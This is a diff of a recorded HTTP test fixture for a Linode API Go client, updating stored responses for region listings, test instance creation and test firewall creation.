{"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": + {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": + "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], + "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, + 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, + 172.236.0.48", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, + 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +283,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:21 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -220,14 +310,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-mzar9128s81w","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-1i81hyqs74e9","root_pass":"cpZ]$y7\\9jdV-tp\u003cq!835!skdi`(bFF;)24]~ENY[Q18L.KY7b4Y9ROK5^Ms67b5","image":"linode/debian9","booted":false}' form: {} headers: Accept: @@ -239,15 +329,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708338, "label": "go-test-ins-mzar9128s81w", "group": "", "status": + body: '{"id": 60622696, "label": "go-test-ins-1i81hyqs74e9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.199"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.124.202"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "42f719224dc77210b2b8ff9ac790522f7650735a", "has_user_data": false}' + "64f3e61b2e736f99ca5f41dd36bbc57071b08d42", "has_user_data": false, "placement_group": + null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +351,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -290,7 +385,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[49708338]}}' + body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[60622696]}}' form: {} headers: Accept: @@ -302,13 +397,15 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228229, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 600030, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": [{"id": 60622696, "type": "linode", "label": "go-test-ins-1i81hyqs74e9", + "url": "/v4/linode/instances/60622696"}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -321,15 +418,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "526" + - "694" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -344,7 +445,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -360,13 +461,13 @@ interactions: - application/json User-Agent: - linodego/dev 